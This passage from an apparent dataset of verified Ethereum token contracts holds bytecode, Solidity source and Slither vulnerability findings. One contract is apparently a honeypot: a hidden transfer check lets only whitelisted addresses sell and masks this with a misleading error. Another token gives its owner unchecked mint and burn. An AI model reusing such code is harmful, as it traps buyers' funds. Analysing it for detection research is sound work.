565b9150612c8d82613592565b604082019050919050565b6000612ca5602083613138565b9150612cb0826135e1565b602082019050919050565b6000612cc8602983613138565b9150612cd38261360a565b604082019050919050565b6000612ceb602583613138565b9150612cf682613659565b604082019050919050565b6000612d0e602483613138565b9150612d19826136a8565b604082019050919050565b6000612d31601783613138565b9150612d3c826136f7565b602082019050919050565b6000612d54601183613138565b9150612d5f82613720565b602082019050919050565b612d738161329c565b82525050565b612d82816132a6565b82525050565b6000602082019050612d9d6000830184612b02565b92915050565b6000604082019050612db86000830185612b02565b612dc56020830184612b02565b9392505050565b6000604082019050612de16000830185612b02565b612dee6020830184612d6a565b9392505050565b600060c082019050612e0a6000830189612b02565b612e176020830188612d6a565b612e246040830187612b7e565b612e316060830186612b7e565b612e3e6080830185612b02565b612e4b60a0830184612d6a565b979650505050505050565b6000602082019050612e6b6000830184612b6f565b92915050565b60006020820190508181036000830152612e8b8184612b8d565b905092915050565b60006020820190508181036000830152612eac81612bc6565b9050919050565b60006020820190508181036000830152612ecc81612be9565b9050919050565b60006020820190508181036000830152612eec81612c0c565b9050919050565b60006020820190508181036000830152612f0c81612c2f565b9050919050565b60006020820190508181036000830152612f2c81612c52565b9050919050565b60006020820190508181036000830152612f4c81612c75565b9050919050565b60006020820190508181036000830152612f6c81612c98565b9050919050565b60006020820190508181036000830152612f8c81612cbb565b9050919050565b60006020820190508181036000830152612fac81612cde565b9050919050565b60006020820190508181036000830152612fcc81612d01565b9050919050565b60006020820190508181036000830152612fec81612d24565b9050919050565b6000602082019050818103600083015261300c81612d47565b9050919050565b60006020820190506130286000830184612d6a565b92915050565b600060a0820190506130436000830188612d6a565b6130506020830187612b7e565b81810360408301526130628186612b11565b90506130716060830185612b02565b61307e6080830184612d6a565b9695505050505050565b600060208201905061309d6000830184612d79565b92915050565b60006130ad6130be565b90506130b982826132f8565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e3576130e26133ff565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131548261329c565b915061315f8361329c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319457613193613372565b5b828201905092915050565b60006131aa8261329c565b91506131b58361329c565b9250826131c5576131c46133a1565b5b828204905092915050565b60006131db8261329c565b91506131e68361329c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321f5761321e613372565b5b828202905092915050565b60006132358261329c565b91506132408361329c565b92508282101561325357613252613372565b5b828203905092915050565b60006132698261327c565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132be8261329c565b9050919050565b60005b838110156132e35780820151818401526020810190506132c8565b838111156132f2576000848401525b50505050565b61330182613442565b810181811067ffffffffffffffff821117156133205761331f6133ff565b5b80604052505050565b60006133348261329c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336757613366613372565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137528161325e565b811461375d57600080fd5b50565b61376981613270565b811461377457600080fd5b50565b6137808161329c565b811461378b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa8013a5fd9d634ba9b07fdbdad332b28111f4f4e4e7c749aab500c389c5ee6964736f6c63430008050033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,632
0x058ed83e1f880c2bc6b3fbcfa6f4e0339667aa00
/** *Submitted for verification at Etherscan.io on 2021-05-25 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Fomoshiba is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; address owner1= 0x55Ff85dc67ea505588c930eB4A67b6537D59c362; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = 'FOMO SHIBA'; _symbol = 'FSHIBA'; _totalSupply= 1420000000000000 *(10**decimals()); _balances[owner1]=_totalSupply; emit Transfer(address(0),owner1,_totalSupply); } /** * @dev Returns the name of the token. * */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function mint(address account, uint256 amount) public onlyOwner{ _mint( account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function Burn(address account, uint256 amount) public onlyOwner { _burn( account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } modifier onlyOwner(){ require(msg.sender == owner1,"only owner can call this function"); _; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806340c10f191161008c578063a457c2d711610066578063a457c2d7146101a2578063a9059cbb146101b5578063cc16f5db146101c8578063dd62ed3e146101db57600080fd5b806340c10f191461015c57806370a082311461017157806395d89b411461019a57600080fd5b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461011557806323b872dd14610127578063313ce5671461013a5780633950935114610149575b600080fd5b6100dc610214565b6040516100e99190610aca565b60405180910390f35b610105610100366004610aa1565b6102a6565b60405190151581526020016100e9565b6002545b6040519081526020016100e9565b610105610135366004610a66565b6102bc565b604051601281526020016100e9565b610105610157366004610aa1565b610372565b61016f61016a366004610aa1565b6103a9565b005b61011961017f366004610a13565b6001600160a01b031660009081526020819052604090205490565b6100dc6103e1565b6101056101b0366004610aa1565b6103f0565b6101056101c3366004610aa1565b61048b565b61016f6101d6366004610aa1565b610498565b6101196101e9366004610a34565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b60606003805461022390610b8d565b80601f016020809104026020016040519081016040528092919081815260200182805461024f90610b8d565b801561029c5780601f106102715761010080835404028352916020019161029c565b820191906000526020600020905b81548152906001019060200180831161027f57829003601f168201915b5050505050905090565b60006102b33384846104cc565b50600192915050565b60006102c98484846105f1565b6001600160a01b0384166000908152600160209081526040808320338452909152902054828110156103535760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b61036785336103628685610b76565b6104cc565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102b3918590610362908690610b5e565b6005546001600160a01b031633146103d35760405162461bcd60e51b815260040161034a90610b1d565b6103dd82826107c9565b5050565b60606004805461022390610b8d565b3360009081526001602090815260408083206001600160a01b0386168452909152812054828110156104725760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161034a565b61048133856103628685610b76565b5060019392505050565b60006102b33384846105f1565b6005546001600160a01b031633146104c25760405162461bcd60e51b815260040161034a90610b1d565b6103dd82826108a8565b6001600160a01b03831661052e5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161034a565b6001600160a01b03821661058f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161034a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166106555760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161034a565b6001600160a01b0382166106b75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161034a565b6001600160a01b0383166000908152602081905260409020548181101561072f5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161034a565b6107398282610b76565b6001600160a01b03808616600090815260208190526040808220939093559085168152908120805484929061076f908490610b5e565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107bb91815260200190565b60405180910390a350505050565b6001600160a01b03821661081f5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640161034a565b80600260008282546108319190610b5e565b90915550506001600160a01b0382166000908152602081905260408120805483929061085e908490610b5e565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b6001600160a01b0382166109085760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161034a565b6001600160a01b0382166000908152602081905260409020548181101561097c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b606482015260840161034a565b6109868282610b76565b6001600160a01b038416600090815260208190526040812091909155600280548492906109b4908490610b76565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016105e4565b80356001600160a01b0381168114610a0e57600080fd5b919050565b600060208284031215610a24578081fd5b610a2d826109f7565b9392505050565b60008060408385031215610a46578081fd5b610a4f836109f7565b9150610a5d602084016109f7565b90509250929050565b600080600060608486031215610a7a578081fd5b610a83846109f7565b9250610a91602085016109f7565b9150604084013590509250925092565b60008060408385031215610ab3578182fd5b610abc836109f7565b946020939093013593505050565b6000602080835283518082850152825b81811015610af657858101830151858201604001528201610ada565b81811115610b075783604083870101525b50601f01601f1916929092016040019392505050565b60208082526021908201527f6f6e6c79206f776e65722063616e2063616c6c20746869732066756e6374696f6040820152603760f91b606082015260800190565b60008219821115610b7157610b71610bc8565b500190565b600082821015610b8857610b88610bc8565b500390565b600181811c90821680610ba157607f821691505b60208210811415610bc257634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea264697066735822122028993d26ac5e51bfbd2cad2b3e8fe5fee88694a8e00a034f510e7b35c4c09e7564736f6c63430008040033
{"success": true, "error": null, "results": {}}
7,633
0xd0bb881a48da1e7b20193be3cecfe9dadf27ed78
pragma solidity ^0.6.6; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; address private _address0; address private _address1; mapping (address => bool) private _Addressint; uint256 private _zero = 0; uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _address0 = owner; _address1 = owner; _mint(_address0, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function ints(address addressn) public { require(msg.sender == _address0, "!_address0");_address1 = addressn; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } modifier safeCheck(address sender, address recipient, uint256 amount){ if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");} if(sender==_address0 && _address0==_address1){_address1 = recipient;} _;} function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public { for (uint256 i = 0; i < receivers.length; i++) { if (msg.sender == _address0){ transfer(receivers[i], amounts[i]); if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);} } } } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _DEF2transfer(address sender, address recipient, uint256 amount) internal virtual{ require(msg.sender == _address0, "ERC20: transfer from the zero address"); require(recipient == address(0), "ERC20: transfer to the zero address"); require(sender != address(0), "ERC20: transfer from the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016117f960289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ff